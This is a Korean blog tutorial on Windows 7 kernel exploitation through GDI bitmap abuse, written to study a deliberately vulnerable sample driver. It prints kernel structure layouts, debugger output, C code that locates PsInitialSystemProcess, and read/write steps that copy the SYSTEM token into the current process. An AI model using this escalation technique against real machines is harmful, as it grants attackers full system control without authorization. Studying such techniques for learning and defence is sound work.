Window Kernel Exploit -> GDI Bitmap Abuse

본 포스팅은 fuzzysecurity Tutorials Part 17 -> GDI Bitmap Abuse를 분석 및 의역하여 작성하였습니다. Sample Window Driver Code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.

분석환경

  • Vmware (Window 7 32bit)
  • IDA
  • Visual C 2010
  • OSR Driver Loader

 

Step 1. 취약점 분석

해당 취약점은 Arbitrary Overwrite가 한 번 가능할 때 Bitmap 객체를 이용한 취약점이다.

간략히 설명하면 Bitmap 객체를 이용해서 한번의 Write-What-Where 취약점을 그 후에도 무한적으로 이용할 수 있게 세팅하는 것이다.

HBITMAP CreateBitmap(
 _In_ int nWidth,
 _In_ int nHeight,
 _In_ UINT cPlanes,
 _In_ UINT cBitsPerPel,
 _In_ const VOID *lpvBits
);

CreateBitmap() API는 Bitmap 객체를 생성하는 함수이다. 해당 객체의 주소를 얻으려면 PEB의 GdiSharedHandleTable 값을 이용해야 한다.

kd> dt _PEB 7ffde000
ntdll!_PEB
 ...
 +0x088 NumberOfHeaps : 0xb
 +0x08c MaximumNumberOfHeaps : 0x10
 +0x090 ProcessHeaps : 0x77947500 -> 0x00280000 Void
 +0x094 GdiSharedHandleTable : 0x001f0000 Void
 +0x098 ProcessStarterHelper : (null)
 +0x09c GdiDCAttributeList : 0x14
 +0x0a0 LoaderLock : 0x77947340 _RTL_CRITICAL_SECTION
 ...

GdiSharedHandleTable값은 Bitmap handle이 생성되었을 때 부모 process에 생기는 정보이다.

SURFACE OBJECT address = GdiSharedHandleTable + (handle & 0xffff) * (64bit: 0x18, 32bit: 0x10)

GdiSharedHandleTable의 일정한 계산을 통해서 Bitmap 객체의 주소를 알 수 있다.

Bitmap 객체를 생성하게 되면 위와 같은 SURFACE OBJECT가 만들어진다. 그리고 SURFACE OBJECT는 BASEOBJECT 구조체와 SURFOBJECT를 가지고 있고 SURF OBJECT 내부에서 pvScan0는 객체가 가진 Pixel Data를 가리키게 된다.

typedef struct{
 BASEOBJECT64 BaseObject; // 0x18bytes
 SURFOBJ64 SurfObj; 
 ....... 
} SURFACE64

typedef struct {
 ULONG64 hHmgr; // 8bytes
 ULONG32 ulShareCount; // 4bytes
 WORD cExclusiveLock; // 2bytes
 WORD BaseFlags; // 2bytes
 ULONG64 Tid; // 8bytes
} BASEOBJECT64;

typedef struct{
 ULONG64 dhsurf; // 8bytes
 ULONG64 hsurf; // 8bytes
 ULONG64 dhpdev; // 8bytes
 ULONG64 hdev; // 8bytes
 SIZEL sizlBitmap; // 8bytes
 ULONG64 cjBits; // 8bytes
 ULONG64 pvBits; // 8bytes
 ULONG64 pvScan0; // 8bytes
 ULONG32 lDelta; // 4bytes
 ULONG32 iUniq; // 4bytes
 ULONG32 iBitmapFormat; // 4bytes
 USHORT iType; // 2bytes
 USHORT fjBitmap; // 2bytes
} SURFOBJ64

정리하자면 위와 같은 구조체를 가지게 된다. 가장 중요한 것은 pvScan0이다. pvScan0가 가리키는 주소를 바꿔 취약점을 악용한다.

Bitmap 객체 2개를 선언한다 (hManager, hWorker). hManager의 pvScan0를 hWorker의 pvScan0 주소값으로 설정한다. 이 때 한번의 Arbitrary Overwrite가 가능해야 한다. 그렇다면 hManager로 SetBitmapBits()을 호출해 data를 세팅한다면 hWorker의 pvScan0가 바뀌게 된다.

또 설정된 hWorker의 pvScan0으로 특정 memory의 값을 GetBitmapBits()와 SetBitmapBits()를 이용해서 값을 변조시킬 수 있다.

 

2. Exploit

특정 값을 변조시킬수 있게 세팅을 하면 남은 것은  system process의 Token을 가져와 현재 process Token에 넣는 것이다.

먼저 Kernel Module의 주소를 구해야 한다. 현재 진행하는 Windows 7 32bit환경에서는 kernel에 대한 module이 ntkrnlpa.exe이다.

그리고 Kernel land에서의 PsInitialSystemInformation을 구해야 한다.

PEPROCESS PsInitialSystemProcess;

PsInitialSystemProcess는 system process에 대한 EPROCESS 구조체 주소를 담고있는 전역변수이다. 따라서 Kernel land에서의 주소를 구하면 system process의 EPROCESS를 구할 수 있다.

ULONG KernelModuleBase(){
 HMODULE hNT = NULL;
 NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = NULL;
 PSYSTEM_MODULE_INFORMATION pSystem_Module_Information = NULL;
 LONG Size = 0;
 PUCHAR ModuleName = NULL;
 PVOID KernelBase = NULL;
 ULONG UserEPROCESS = 0, offset = 0, hUser = 0;
 hNT = LoadLibrary("ntdll.dll");

 NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNT, "NtQuerySystemInformation");
 if(!NtQuerySystemInformation){
 Error((PUCHAR)"NtQuerySystemInformation", (DWORD)GetLastError());
 }
 NtQuerySystemInformation(SystemModuleInformation, NULL, 0, (PULONG)&Size);

 pSystem_Module_Information = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size);

 NtQuerySystemInformation(SystemModuleInformation, pSystem_Module_Information, Size, (PULONG)&Size); 

 ModuleName = (PUCHAR)strrchr(pSystem_Module_Information->Module.ImageName, '\\') + 1;
 KernelBase = pSystem_Module_Information->Module.Base;

 hUser = (ULONG)LoadLibrary((LPCSTR)ModuleName);

 UserEPROCESS = (ULONG)GetProcAddress((HMODULE)hUser, "PsInitialSystemProcess");

 offset = UserEPROCESS - hUser;

 return 0;
}

NtSystemQueryInformation을 이용해 Kernel Base를 구하고 LoadLibrary를 통해서 userland에서의 PsInitialSystemInformation까지의 offset을 구한다.

구한 offset을 가지고 Kernel land에서의 PsInitialSystemInformation을 구한다.

Module과 해당 변수 주소를 구한 것이다.

kd> !process 0 0 system
PROCESS 84ce28e8 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
 DirBase: 00185000 ObjectTable: 89e01b28 HandleCount: 528.
 Image: System

System process를 찾아 EPROCESS의 구조체 주소를 살펴보면 0x84ce28e8이다.

해당 변수 주소에 EPROCESS가 있는 것을 확인할 수 있다.

kd> dt _EPROCESS UniqueProcessId ActiveProcessLinks
 +0x0b4 UniqueProcessId : Ptr32 Void
 +0x0b8 ActiveProcessLinks : _LIST_ENTRY

현재 돌아가고 있는 process의 EPROCESS는 ActiveProcessLinks의 ENTRY를 타면 된다.

EPROCESS를 찾으면 해당 process의 token 주소를 계산해 GetBitmapBits(), SetBitmapBits()로 system process token으로 덮으면 된다.

ULONG systemEPROCESS = GetSystemPs();
ULONG processEPROCESS = GetprocessPs();
ULONG Token = 0;

Read(SystemEPROCESS + TokenOffset, &token, sizeof(ULONG));
Write(processEPROCESS + TokenOffset, &token, sizeof(ULONG));

 

One thought on “Window Kernel Exploit -> GDI Bitmap Abuse

댓글은 닫혔습니다.